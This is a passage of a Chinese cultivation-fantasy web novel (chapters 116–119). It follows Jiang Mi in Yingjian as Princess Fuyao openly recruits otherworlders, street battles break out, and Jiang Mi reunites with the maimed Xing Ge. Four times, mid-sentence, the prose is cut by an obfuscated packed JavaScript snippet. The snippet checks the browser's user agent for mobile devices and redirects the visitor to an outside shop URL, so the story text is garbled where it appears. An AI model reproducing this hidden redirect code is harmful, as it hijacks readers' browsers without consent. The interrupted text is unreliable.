崔大舍弃窗台的位子坐在江弥附近,狐狸也没回去的意思,直接盘腿而坐,苏乞花看看两人,他其实还是想看风景的,奈何小伙伴都留下,也只能放弃。 他撑着侧脸无聊道:“不就是皇室公然招收异世者,有什么好猜来猜去的。” 古东点头:“是这个意思。” 江弥却心下惊愕,公然招收异世者?那岂不是跟整个修真界为敌? 整个房间的人都是耳聪目明的,有个抱臂倚在墙上的修士高调地吹了声口哨,笑着插了句:“这又不是什么秘密,这些修真世家和皇室哪个不暗地养几个异世者,皇室能这么猖狂不就是因为没被天诛院杀死的守望军成了他们的走狗?” 古东:“这位大哥竟然能猜到这一层!在下佩服!” 那修士:“呵。” 和缓气氛失败,古东只好继续跟江弥几人较好:“大概就是这么回事吧,现在几方人马都盯着呢,天诛院权威被挑战,自然不能坐视不管,世家也不可能让皇室真的招到异世者,甚至还想将异世者从他们手里夺走,夺不走就杀掉,而仇视异世者的修士也在暗中观察。可以说,只要异世者现身,必会引发一场矛盾。” 这也是灵坤船几乎满员的原因。 江弥几番思索也反应过来,皇室这是野心不小啊。 皇室不甘心和世家平起平坐,但比修真资源,皇室比不过修真家族,比修士人才,皇室疯狂吸纳小术院修士和高阶散修,发展至今也只是和这些世家旗鼓相当,想要压倒这些世家,只能剑走偏锋,于是选择异世者这条赛道超车。 她忽然开始怀疑扶尧喜欢滕宝这事。 同为异世者,她下意识就站在滕宝角度思考问题,认为龙傲天系统开的后宫里公主必不可少。 现在回想却能发现很多异常,比如,滕宝是守望军成员,扶尧数次救下滕宝是因为喜欢还是因为他的守望军身份,再比如,扶尧的母亲是姬氏女,对捕获或者扭曲好感值的系统能力是否真的毫无抵抗? 她隐隐感觉,扶尧接近滕宝就是为了让皇室收服守望军,只是中途被她破坏,滕宝死掉,于是从用另一种方式将守望军纳入囊中。 这么说来,崔大三人的立场就很明确了。 他们显然是仇视异世者并准备除掉异世者这类。 “对了,”崔大记起江弥到现在还没回答他,“你既然什么都不知道,跑来颍建做什么?” 江弥心想颍建大概率不太平了,随口道:“我去大术院。” “什么!你已经直接能去大术院了?!”崔大一脸不可置信看她:“我只是被关三个月不是三年吧?” 能进大术院就代表资质天赋远超大部分修士,关键是年轻,还前途无量。 这就跟一群大学没能上只能自学的人坐地铁看到个十五岁考中清北,于是在场大部分连小术院都没资格的修士们齐刷刷望来。 江弥木着脸:“呵。” 116. 116 阿玲在天雪峰找了间木屋清理干净住下,她也不可能每时每刻粘着君慕之,于是给了姬月生见缝插针的机会。 君慕之都将他打跑了第二天还能笑吟吟地继续来天雪峰,虽然动作收敛不少,却也很难缠。 让人头疼。 阿玲陪苏与商喝完酒回来就进了君慕之木屋,手里提了包色泽诱人的糕点。 君慕之在闭目凝神,这是也是减缓秽气蔓延的方法,和躲避人群一样,只是治标不治本,作用也甚微。 这段时间阿玲不下山时就同君慕之待在一起,有时透过半开的窗静静坐着看雪,有时阿玲会说在外的江弥遇到什么好玩的事。 她拆开糕点摊开,捏了块放进嘴里,这是苏与商推荐的有名糕点,甜而不腻,清香自然,她往君慕之那里推了推:“吃吗?” 君慕之睁眼,看了片刻又闭上眼。 嗐,这人。 明明阿玲和江弥都是她,君慕之对两人的态度就是截然不同,不知道阿玲是她就算了,知道还这样。 阿玲将糕点拉到自己面前,想了想,开口说:“江弥路上遇到点事,可能会晚点回,她让我给你带点东西哄你开心。” 君慕之抬眼问:“何时回?” 看,提到江弥态度挺好,怎么到她就这么冷漠呢? 阿玲捏着糕点没吃,摇头:“应该会在颍建停留段时间,去大术院再回来就更晚了。” 君慕之垂眸没说话。 阿玲有点犯难,江弥离开前她还觉得没什么,阿玲在也能在君慕之面前刷刷存在,既然打算追人,态度自然得认真点,阿玲追和江弥追都是她追,没区别。 可她觉得没区别,君慕之却在区别对待。 急不得啊。 那就从了解君慕之开始,说来她好像很少主动了解他。阿玲问:“江弥托我问你,你喜欢什么?吃的玩的都可以。” 君慕之抬眸看她,阿玲说:“若是我问想知道你喜欢什么你肯定不理我。” “没有喜欢的。”君慕之顿了下:“我不讨厌你。” 阿玲是真的好奇他是怎么想的,于是问:“那为什么你对我们态度区别这么大?” 君慕之安静了很久才说:“我父亲有四位夫人。” 君家情况她之前听蒋敏提过几句,君慕之的父亲除了君夫人,还有三房妾室,两个儿子一个女儿,君慕之还因为差点打死二夫人的儿子而被罚去守陵墓。 阿玲问:“因为不喜欢你父亲这样你才远离我的?” 君慕之端坐未语,眉眼微垂,略有些泛白的唇色让他看着有点脆弱。 只是在记忆里窥见短暂的片段就知道君慕之的娘是个很好的女人,但他爹似乎不是如此。 知道问题所在后,阿玲没再深入,这种事情不是几句话能解决的,得先在君慕之面前将阿玲人设摘掉,让他认识到阿玲就是江弥。 “我知道了。”她缓和了下表情,转而问君慕之和姬月生的打斗,疑惑道:“我能看清你们的打斗,好像也能在姬月生手下过几招的样子,姬月生是十阶吗?” 君慕之:“神台没有十阶。” 阿玲怔了下:“可仙梯是十二阶。” 君慕之:“神台九阶至顶,九阶之上也有高低,神脉家族的血脉决定这个高低。” 阿玲:“你和姬月生是九阶?” 君慕之点头:“九阶是成神的基础。” 成神啊,阿玲都想象不出成神是怎样的。 阿玲想了想,追人怎么都改主动,便伸手握住君慕之的手,在他想要抽出来时虎着脸看他:“这位学长怎么回事,学妹好心帮你怎么还满脸不情愿?” 君慕之动作一缓,又被阿玲握紧了,她弯了下眼,好心通知他:“你得尽快习惯。” 在君慕之屋里待了许久,阿玲出来就看到姬月生站在不远处的松树旁,身上积了层薄薄的雪,她想当做没看到回屋,姬月生先一步走来。 “君慕之喜欢江弥,你还要喜欢他?” 阿玲将风雪隔绝在一寸外,仰面看他神色不悦。 其实想想就知道姬月生打的什么主意,她之前的话正中姬月生痛点,说他不懂爱对他是何等羞辱,后来又将人跟丢了,定是对她愤恨交加,若不是现在君慕之护着她,还不知道会怎么折磨呢。 大概看奈何不了她就来软的,无非就是满身傲骨的少主要让她知道爱是什么,让她爱上他,再狠狠羞辱回来。 她对这种爱情游戏不感兴趣,面无表情道:“不管我喜欢谁,这个人都不会是你,你若想通过这种方式报复我,不可能。” 姬月生唇角带笑:“你就这么确定?” 阿玲:“对。” 姬月生表情一点点冷下来,深深看她眼后转身离开,下山后他从随身玉牌中取出张纸,写下几个金色大字后看着纸自动燃烧。 他得不到,君慕之也休想得到。 · 灵坤船经历一场大闹后平静不少,气氛在临近颍建时变得微妙,并非针对古东,而是嬉闹的修士们收敛神色,带着几分严肃。 江弥从灵坤船下来站在颍建的土地上时,这种感受更明显,前方酒肆茶楼人群来往,夹杂着很多和他们一样的修士。 崔大问江弥:“你要怎么去大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992820|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术院?” 江弥:“不急。” 崔大皱眉:“颍建不太平,你留下来做什么?” 江弥不疾不徐看他眼,忽然传来一声敲锣声,接着前方人群分开条道路,走出个十人身穿官方制服的小队,他们边走边敲锣,声音用术传开—— “前方百味酒楼前,扶尧公主正在亲自招揽奇能异士者,欢迎有志之士前来报名。” 他们这么边敲边喊地离开,留下躁动议论的人群。 江弥朝崔大示意道:“看热闹。” 苏乞花看两人站在这里没动,挠了挠脖子,船上空间小味道大,还那么多人,他说:“我提前预约了客房,我要先去洗个澡再去百味酒楼看看,你们随意。” 狐狸也随苏乞花离开。 江弥要跟过去,崔大拉着她后衣领:“你这个身份别乱跑,跟在我身后。” 江弥抬眼看他:“我什么身份?” 崔大提醒她:“你出来得少不清楚,你和君慕之的关系不说所有人,大部分关注修真界局势变化的都知道,指不定在这里会遇到什么人,你给我小心点。” 江弥哦了声老实跟在他身后:“那他们没听到最新传闻?” 崔大呵了声:“你是不知道君慕之的分量。” 苏乞花定的房间有两间,两男两女刚好分配,在修士聚集的情况下还能定到两间房,不得不说苏家多门路。 洗漱后几人一同穿过人群前往百味酒楼。 报名处设立在酒楼门口,一大群人围在附近,但凡视野能看到的店铺都挤满人,他们寻了许久也没找到能边吃点东西边看的地方,只能一人买张肉饼在路旁站着看。 就在这时,人群忽然走出一男子,他走路一瘸一拐,穿过真空地带走向门口,瞬间吸引所有人注意。 他朝报名处闭目养神的修士喊:“我来报名!” 话刚落,几道攻击先后从不同方向朝瘸腿男人背后飞去,又急又猛。 瘸腿男人只觉头皮发麻,不待他做出反应,立即出现一道阵界将他笼罩其中。 也在此时,坐在报名处的修士猛地睁开眼,冷眉凝视人群,下秒身形一闪出现在瘸腿男人身后,右手点灭两道偷袭,左手捏术形成的剑影斩下交缠而来的星辰之力。 百味酒楼二楼的窗户被推开,扶尧站在床前拧眉娇喝:“何人捣乱!” 江弥抬眼,看到扶尧身旁的项昭昭和颜西时便肯定了心中猜想,扶尧接触滕宝确实是为了守望军。 因为她也看到了附后身后的暮云,暮云正在通过系统向青花的汇报。 珐琅:【夺权计划正在执行。】 117. 117 扶尧怒斥后一阵沉寂,她的目光从地面的人群扫到几扇大开的高窗,没有人站出来。 突然的偷袭让瘸腿男人心中惶恐,四面八方投来的视线极具穿透性,即便被防御结界保护着他也没敢动。 负责报名的修士名曹简,他伸手拍了下结界,见他吓得直缩肩膀便笑道:“不用担心,只要你加入天一武会,扶尧公主会保你性命无虞。” 瘸腿男人:“真的吗?只要我加入,你们就能保护我?” 曹简指着他身上的结界:“这是混空界,能挡十一阶修士全力一击,有它在,你死不了。” 瘸腿男人:“要是十二阶攻击我怎么办?” 曹简:“混空界争取的时间够我们赶来救你了。” 他刚说完,就见八名气息内敛的修士从百味楼走出,目光锐利,全是十二阶。 大部分修士穷其一生都无法修至十二阶,所以世家的最低条件是十一阶,此时一次出现八名十二阶,叫在场众人不得不感叹大手笔。 瘸腿男人立马表态:“我加入,我要做什么?” 曹简带着男人去报到处登记信息。 看着瘸腿男人安然无恙地走进百味楼,立即有人沉不住气,朝楼上扶尧大喊:“你怎么能公然招收异世者?” 扶尧朝那人瞥来一眼,轻哼道:“什么异世者,本宫要的是奇能异士,没看到异世者,你愿意加入天一武会就报名,不加入别乱嚷嚷,污了本宫耳朵。” 那人气急:“你在装聋作哑!所有人都知道异世者罪大恶极,你却堂而皇之和异世者同流合污,就是一国公主又如何?天诛院不会坐视不管!” 话刚落他就被磅礴之力压趴在地上,站在他周身的几人纷纷后退,惊吓之余心中震惊,他们丝毫未曾感知力量的波动,可见出手之人对力量的控制精准得可怕。 扶尧单手放在窗台上,眉眼高傲,朝他道:“你以为你是在跟谁说话?” 原本也想要大声斥责的其他人见状纷纷闭嘴,但议论声却不绝入耳。 江弥沉默地看着一切发生,心中沉思。 项昭昭潜伏在守望军,天音协助池七完成造神计划,暮云留在扶尧身旁执行夺权计划。 天涯路到底想做什么? “他不是异世者。”狐狸忽然说道。 苏乞花回想瘸腿男人的样子:“这你也能看出来?” 崔大说:“狐狸杀过很多异世者,对异世者还是有几分了解的。” 江弥朝狐狸看了眼,但对方一直戴着面具,目光直直盯着报到处的动静,江弥看不出狐狸表情。 也在此时,几米外的茶楼包厢里,顾臣透过窗户看到人群里面色沉静的江弥,挑了下眉。 坐在他对面的老人喝了口茶,赞叹地嗯了声,心想走前要带盒回去,他又给自己倒了杯,问顾臣:“天诛院就派了个你过来?” 顾臣笑说:“云有痴先生说笑了,不过是我路过听闻这里有热闹瞧来看看罢了。倒是这混空界,似乎跟囚天笼有一丝联系啊。” 云有痴脸皮抖了下,连忙放下茶杯朝百味楼望去,但那瘸腿男人已经进楼看不见,他方才只顾着品尝茶没看,重新望向顾臣向他确认:“真和囚天笼有联系?” 囚天笼会笼罩混沌的诞生之地,但极少有人知道囚天笼只是子母阵中的子阵,母阵混元阵坐落在大术院。 由于总有人破析囚天笼偷渡进混沌,云有痴三天两头就要修改混元阵,徒弟直接将他床褥搬进魁斗让他住在里面,短短几年内,术纹变化从三千多变成四千多。 听说让他日夜不得休的是个叫颜西的守望军成员,有事没事就破他囚天笼玩,气得他成天在魁斗骂人,去年听说天诛院抓颜西没抓到,到现在都不知道这人踪影。 天诛院什么心情他不管,但他心情不错,因为颜西失去踪影后囚天笼没人破析,他过了段悠闲的日子。 这会听顾臣说混空界和囚天笼有关,他一颗心提起。 顾臣笑着望了眼楼下,云有痴跟着看过去,就见又有一人从人群中走出,是个彩衣女孩。 她走到真空地带时便有一道结界降下,将她笼罩在内,她还好奇伸手戳了戳,问曹简:“这是咱们自己人做的?” 还挺自来熟。 曹简点头:“你要报名?” 女孩回眸去看望来的目光:“来都来了。” 她记录完信息还没进去身后便发生了打斗,原是一名散修眼见又有人准备报名,心中已经认定对方是异世者,在过去报名前先一步动手。 他下手招招致命,嘴里大喊:“异世者休想过去!大家跟我一起杀了他!” 人群中早有人蠢蠢欲动,此时见混乱起,当即神情激愤加入其中,混乱由点及面扩散,曹简阻止时已经蔓延开来,不少茶楼酒肆遭了殃。 苏乞花是个好战分子,当即抡起长刀加入其中,被他打得那人不知为何被打,刚问出口就得到一刀作为回应,于是二话不说直接开干。 战场蔓延过来时狐狸不免被波及,她也不是好脾气,三两下淹没进人群。 崔大迟疑两秒,还是拎着江弥后领飞快往外跑,直到跑离战斗中心才按住她说:“你回客栈,我去去就回。” 江弥说:“我也挺好奇的。” 崔大抬起的脚停下:“你好奇什么?” 江弥:“打群架的滋味。” 崔大纠结了下,还是道:“行行行,我不去行了吧。” 江弥好脾气道:“你可以去。” 崔大:“我不去!” 江弥哦了声:“那回客栈吧。” 崔大不情愿地应了声,还一步三回头,江弥忽然问:“我是不是认识狐狸?” 崔大猛地回头:“你认识狐狸?” 江弥抬首认真看他表情,见他确实不知道便问:“你不知道狐狸是谁?” 崔大:“我和她也就几次任务碰到,散盟会隐藏身份的人多的是,知道太多不见得是好事。” 江弥若有所思,之前听狐狸声音觉得在哪里听过,方才共用一间客房洗漱时,狐狸脱掉宽大斗篷,她看着总感觉很熟悉。 她问崔大:“她为什么和你组队?” 崔大语气理所当然:“还能因为什么,不就是我办事靠谱能力强?” 江弥随便应了声,脑海回忆她在哪里听过这个声音。 崔大对她敷衍态度十分不满:“江小米你别不信,我们来比一场,话说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008157|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你现在到底几阶?不是真的被大术院录取吧?” 江弥:“没有。” 崔大:“那就好,你几阶?” 江弥侧眸看他:“你真要知道?” 崔大强调:“真的,没错,我要知道。” 江弥认真说:“我怕你受不住。” 崔大:“哈,我就想感受下能让我受不住的修为到底是多少?” 江弥:“十阶。” 崔大:“……草。” 崔大追上去怒骂:“你是变态吗升这么快?!还给不给人活路?等等,你都十阶了我们去什么客栈!去打架!走!” 架没打成,崔大被江弥拖回客栈。 夜幕降临时狐狸回了客栈,崔大问起苏乞花,狐狸说他还在跟仅剩的十来人干架,一人单挑十人的那种,崔大一听当即大喊不能放弃同伴,然后不等江弥说话直接冲出去,眨眼就没了人影。 江弥闻见飘散在空中的血腥味,问:“不包扎下伤口?” 狐狸嗯了声,脱去黑色斗篷,拿着药瓶纱布往里走。 江弥坐在外面桌子前,等了半晌,里间传来的血气越发浓郁,她手指点了两下桌面,朝薄薄的屏风道:“邢学姐,要我帮忙吗?” 细微的布料摩擦声停住,里间没有任何动静。 客房陷入一片沉寂。 江弥又问了遍:“学姐,要我帮忙吗?” 许久,里面才传来略显沙哑的女声:“过来。” 江弥走了进去,看到邢歌身体时停住脚步。 邢歌回头望了眼,脸上还是那张无法取下的狐狸面,上面划了很多红色痕迹,沉冷眸子透过面具看着她。 江弥听孙柏柔说过,邢歌在那场爆炸中活下来,但失去了胳膊,是她使剑的那只,后来她离开,谁也不知道她去了哪里。 此时看到邢歌,事实远比孙柏柔说的更惨烈。 她的右边胳膊全没了,换成了沉重的金属,那是一方小型炮筒,比手臂粗,黑漆漆的,上面有个卡槽,装弹用的。为了让炮筒固定在她身上,金属穿进肩胛连接骨骼,她的右半边背部是黑色的。 身体的其他部分也布满各种伤痕,有一道旧伤自背部穿进左边胸膛,命悬一线。 最新的伤口在腰部上方,她单只手没法包扎,血水已经浸湿半退的衣衫。 江弥沉默地走过去,拿床上的药闻了闻又放下,从自己储物玉牌里取出颗药丸,一边捏碎一边说:“骨血果淬炼的止血药,有止痛效果。” 邢歌要拒绝,被江弥抬手按下:“血再不止你就会失血过多晕厥,用哪个药还是我说了算,而且我没理由害你。” 邢歌顿了下,江弥趁机将药粉震气撒到她伤口,殷红的血很快止住,江弥又碾碎一颗敷上,拉开纱布给她包扎,两人全程一言未发。 包好伤口后,江弥打来水帮她擦去血污,看她半点不知痛地穿上衣裳。 沉默很久,邢歌说:“你的生活很精彩。” 江弥没否认:“你呢?” 邢歌抬眼,她的眸中沉淀了很多东西,仇恨、冷酷、坚定,还有一丝怀念。 她说:“也不错。” 她用半条命走到今天,已经很不错了。 118. 118 崔大和苏乞花回来已是半夜,外面吵嚷嚷的,崔大敲开江弥客房时往里瞅了两眼,狐狸沉默地坐在桌前,他察觉气氛有点奇怪,小声问:“你们打架了?” 江弥:“没有,你有事?” 崔大狐疑看她两眼:“真没事?” 这种时候倒是敏锐了回。 江弥点头,不等他继续问直接将门关上,崔大鼻子差点被门板拍到,他气得要再次拍门,身后的苏乞花一把将他拖走:“有什么好问的,走走走,找吃的去,打到现在快饿死了。” 门后,江弥走过去坐下。 其实自陆怀死后,两人就渐行渐远,此时久别重逢,中间又隔了太多,都不知能说什么。 许久,江弥问起:“为什么叫狐狸?” 邢歌的手颤了下,她预想的问题里,江弥会问她的面具,会问她的右手,会问这些年经历什么,独独没想过她会问这个问题。 为什么叫狐狸? 在得知寒鹃和谭鑫被炸死后,她拖着残破的身体躺在病床上,每天都在想,为什么只有我活下来了?为什么我失去的是右臂?为什么老天要这样对待我? 她在哀嚎和痛苦中被绝望淹没,最终选择寻死。 痛楚无时无刻不在折磨她,但她已经感受不到了,只摇摇晃晃地走进河里,窒息让她眼前发黑,昏死过去前她似乎看到陆怀。 他们好似回到了启蒙院那时,邢歌嫌教习的课无聊,逃课躺在草地上睡着了,陆怀不知何时来的,站在她身前帮她挡太阳。 快到吃饭时间才小声喊她:“邢歌,邢歌,食堂开饭了。” 邢歌恍惚着醒来,身上的痛楚消失,她的右手还在,有生命气息的陆怀就站在她面前。 明亮的光线几乎让她睁不开眼,陆怀明明用影子帮她挡住阳光,可刺目的光线却仿佛穿透陆怀的身体。 她费力睁开眼,泪水从眼角滑落。 陆怀一怔,蹲下来想帮她擦泪,手伸到一半想起什么又缓缓落下,蹙眉问她:“做噩梦了?” 邢歌这才看清陆怀的样子。 他还是那个没什么脾气的少年模样,手抓着鲜嫩的草叶有些无措,想说点什么逗她开心,半晌也只说出:“午餐的鸡肉块给你。” 邢歌眼泪越发汹涌,陆怀吓到了,手忙脚乱帮她擦眼泪,小声安慰她:“只是梦,醒过来就好了。” 邢歌嗓子被堵住,张了张口,几次才喊出来:“……陆怀……” 陆怀认真看她:“我在这里。” “陆怀。” “嗯。” “陆怀,陆怀,陆怀……” 她一声声喊出口,陆怀不厌其烦地应着。 那瞬间,所有压抑的绝望和痛苦倾泻而出,她想扑上前抱住他,哭着骂他揍他,为什么要对她那么好,为什么最后只留她一人,留下她了,又为什么要来到她的梦里。 那个阳光灿烂的午后,她在陆怀的陪伴里哭了很久。 她从梦中醒来时,身边没有陆怀,只有个沉默寡言的青年正在帮她包扎伤口。 青年问她叫什么,邢歌大脑和心脏空荡荡的,回过神时那人点头喊她:“狐狸,你的右臂伤得很重,我有套适合你的方案要不要听听?” 邢歌在恍惚间听他絮絮叨叨,心脏传来的绵长苦痛远超右臂伤口,令她陷入另一种绝望。 她终于意识到,她弄丢的到底是什么。 可没有陆怀,她再也哭不出了。 · 第二日敲锣声响遍大街小巷。 天一武会经历昨天的混乱后并没有放弃招人,甚至更加大张旗鼓。 这次苏乞花弄到一个听曲的包厢,推开窗能看到不远处百味楼的情况,附近的店铺因昨天打斗出现不少损毁,还有些仍旧坚强的营业。 苏乞花说:“昨晚有人偷袭百味楼,没成功。” “是散修吧?做这种事的一般都是散修。”崔大说完去拿桌上的花生米,被邢歌先一步挪走碗碟,苏乞花笑嘻嘻地搓了颗花生扔嘴里,嘴里嚼着说:“我昨晚后半夜找吃的看到苏家人,哦,回来时还碰到蔺家的修士。” 崔大:“他们也来了?” 邢歌想了想说:“应该也是在观望,虽然没有明说,但这是异世者首次从地下转到明面,如果皇室这一举动成功,必然引得更多异世者前来投靠。” 如果能光明正大在阳光下,谁又愿意在阴暗里生存。 江弥:“所以是世家偷袭的?” 崔大摇头:“那肯定不是啊,这些世家想阻止皇室还不简单,直接叫上天诛院来抓人,和异世者合谋这种事又不是只发生过一次,前不久池家不就是这么完的?” 邢歌看他一眼,苏乞花也瞥他,崔大摸不着头脑:“怎么了,我哪里说得不对?” 江弥问:“你觉得皇室为什么能这么明目张胆招异世者?” 崔大:“不是因为她是皇族?” 苏乞花脸上的图腾扭动,另外半张脸露出嫌弃神色。 江弥说:“但你刚才也说,想阻止她叫天诛院来就可以了。” 崔大摸着脑袋:“没错啊。” 苏乞花看不下去,直接道:“你以为天诛院就没人来?现在问题是,天诛院来了也没办法。” 崔大:“和异世者合谋这么大的罪怎么可能拿那公主没办法?” 苏乞花被他理所当然的语气凝滞,一口气堵在胸口。 江弥问他:“你怎么证明他们是异世者?” 崔大停顿两秒,恍然大悟:“所以要证明异世者是异世者才行,那要怎么证明?” 江弥:“这才是最大的问题,没有办法能明确认定异世者身份,所以皇室才会这么肆无忌惮,天诛院也拿他们没办法。” 崔大:“但是天诛院不是抓了很多异世者?” 苏乞花知道些内幕:“天诛院识别异世者的方法是能否使用神力和进阶方式,再就是通过异世者招供得到其他异世者身份和画像,以此进行逮捕,还有些是通过修士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾臣也未见过颜西,但此时能施展出囚天笼的除了颜西,他也想不出其他人。 正要表示肯定,却见眼前一闪,云有痴直接从窗台一跃而出,停在囚天笼面前,他双手微抬,数不清的术纹从他指尖浮现,如水滴入海般融入了结界壁。 这是他研究了十多年的阵界,没有人比他更了解囚天笼,不过片刻便在结界壁上张开一个圆形的门,下秒便出现在百味楼二楼里。 扶尧目光一冷,抬手甩出十二节长鞭:“你是谁?” 项昭昭和暮云同时戒备,颜西更是凝聚新的阵界随时准备防御。 云有痴谁都不理,只盯着颜西:“外面这阵你是如何研究出来的?” 扶尧望向颜西:“这人你认识?” 项昭昭和暮云仍旧保持警惕,颜西认真观察片刻摇头道:“这老头我第一次见。” 云有痴当即介绍:“我是大术院教习云有痴,专修阵法,你师从何处啊?” 颜西不知道这种情况该不该答,但云有痴的目光充满期待,他咽了咽说:“我没师父。” 云有痴面露喜色:“你看我如何?你在阵法上天赋异禀,我正好道上有名,还缺一枚徒弟,你觉得如何?” 颜西:“啊?” 后一步跟来的顾臣:“……” 119. 119 云有痴的认徒行为让在场所有人陷入沉默。 当事人颜西虽然懵逼,还是拒绝道:“抱歉,我暂时没有拜师的想法。” 顾臣看他两眼,心道还挺有礼貌,解析囚天笼时怎么不见礼貌。 他的目光扫过另外两人,在脑海里回想天诛院获得的情报,锁定其中的明媚女子,这应当就是项昭昭了。 守望军的数个据点被池家逐个击破,池七伏诛后,天诛院后续搜索其他据点均是人去楼空,他们猜测守望军的主力成员包括能力较强的异世者早已撤离。 随后天诛院得到消息,项昭昭在四处召集散落在各地的守望军成员,但玄甲每次都慢一步,项昭昭在此出现就是扶尧身旁。 项昭昭,颜西,这两人已在天诛院备案,几乎确定异世者身份,若是平时直接派玄甲出动即可,但皇室插手性质就不一样了。 云有痴没能得偿所愿,在扶尧的示意下暮云上前请他离开,顾臣深深看了扶尧眼也回到自己包厢。 经过这个插曲,后撤远离百味楼的修士虽没靠近,但也不再维持戒备,三三两两地议论方才爆炸情况。 苏乞花往嘴里扔了颗花生米笑着说:“真正的较量现在才开始。” 百味楼前虽然没人,但招收仍在进行着。 崔大扭头去看苏乞花,他一脸神秘莫测,目光移到狐狸,看不到她表情,于是去问江弥:“这么大的事就这么算了?” 江弥注视骚动的人群:“重点不是谁做的这件事,而是皇室有没有撑住。无数人在暗中观察,异世者也是,如果皇室没有能力保全他们,自然不会有人主动投诚。” 崔大:“昨天不是有三人现身?” 江弥:“那些是异世者还是有人在投石问路不好说,接下来才是关键,皇室表现好,自然会吸引异世者,反之,异世者的计划就会泡汤。” 崔大啧了声:“麻烦。” 江弥望向人群里蠢蠢欲动的几人,实际更复杂。 这是异世者由暗转明的重要节点,世家和天诛院的虎视眈眈,异世者的不信任和犹疑,散修的仇恨都是这条路上的阻碍。 几名异世者混在人群里,浮现在半空的系统面板上字幕飞速翻滚,群中大多数人都是持质疑和观望态度,少数几人觉得该抓住这个机会。 忽然,群中一段消息被其他信息淹没,有人看到在群里提醒,大家往回看,是可爱小仙女发的—— 【大家好,我是项昭昭,前守望军成员,现天一武会会长,大家异常关注的天一武会招人由我发起。有人会问为何抛弃守望军成立天一武会,也有人猜测是守望军内部权利斗争所致,在此我同大家解释天一武会的初衷。 身为异世者的我们拥有超凡能力,却只能如同阴沟老鼠躲躲藏藏,我以为守望军是异世者站起来的第一枪,但很令人失望,除了让更多人仇视异世者、让异世者生存条件更加恶劣外,它什么也没做到。 我们曾经都生活在阳光雨露之下,光明正大地追逐着心中热爱和安静,这本该是我们的权利。如果有人忘了站在阳光下的感受,我会帮大家想起来。】 滚动的字幕逐渐停止,所有人都倒回去看项昭昭的话,心中被什么触动了下,有人问:【你怎么保证异世者加入天一武会后不会被天诛院抓走?】 可爱小仙女:【这是我同皇室合作的原因。天诛院是修真界的清道夫,只针对异世者,但皇室是人间的王,天诛院在没有证据的前提下无法对皇室出手。而证据,正是天诛院最欠缺的。】 【天一武会和皇室是怎么合作的?】 【加入后我们需要做什么?】 【真的不会被追杀吗?】 【皇室能接受异世者?】 项昭昭在群里挑了几个问题回答,群中的异世者也有不同立场,有些事情暂时不能透露太多,她略过不谈。 ID为“我是大胃王”的异世者说:【我相信你。】 项昭昭对这个名字有些眼熟,抬眼时就见有人从喧嚣人群中走出,在各种变化的目光中走向百味楼。 包厢中的苏乞花几人顿时有些难言。 “古东是异世者?”崔大去问邢歌,“他看起来像异世者吗?” 邢歌声音冰冷:“不管之前是不是,现在是了。” 相对而言苏乞花神色轻松,好奇道:“他的能力不会是运气好吧?” 江弥也因古东的异世者身份而惊讶,随即她面色微变,幽蓝光芒笼罩了清雅包厢。崔大几人诧异看她,正要说什么,庞大的威压极快压来,被房间充斥的星辰之力挡下。 崔大讶然:“这是什么?” 苏乞花和邢歌震惊于江弥的感知,但很快施展威压之人的出现吸引他们目光。 出现的十名修士均是十二阶,他们身穿黑衣,面上被迷雾笼罩,看不清面容,出现的刹那威压如同潮水弥漫开来,围观的修士受不住压力跪倒大片。 崔大不由感叹:“现在十二阶是大白菜吗?” 苏乞花则抽出长刀挑眉:“这才第几天,异世者也没出现几个,这些人也太心急了。” 邢歌的雪白狐狸面具映上幽蓝光芒,她若有所思:“可能发生什么事让机会提前了。” 几人说话间,黑衣修士已经动了,守在百味楼前的八名修士同时爆发,杂乱庞大的力量碰撞,激起的气浪摧毁最近的铺楼,能动的没法能动的修士拼命远离百味楼,江弥几人也乘风撤离危险地带。 被囚天笼保护的扶尧站在窗前皱眉:“比预料的提前了,怎么回事?” 颜西十分自觉这种问题不是问他的,注意力集中外面打斗,全是十二阶,天边跟放烟花似的,他还瞄准时机乘机扔几个防御结界搭把手。 项昭昭思索片刻笑道:“我们的预料中,打击天一武会的手段会越来越剧烈,才第二天他们就发动最终攻击,这是好事。” 扶尧拧眉:“这打乱了我们的计划,而且十二阶有十名!比我们预料的多两人!接下来怎么办?” “直接动用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042503|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最厉害的攻击,说明他们急了,”项昭昭成竹在胸,“我想,九皇子已经成功。” 扶尧微怔之后大喜:“当真如此?” 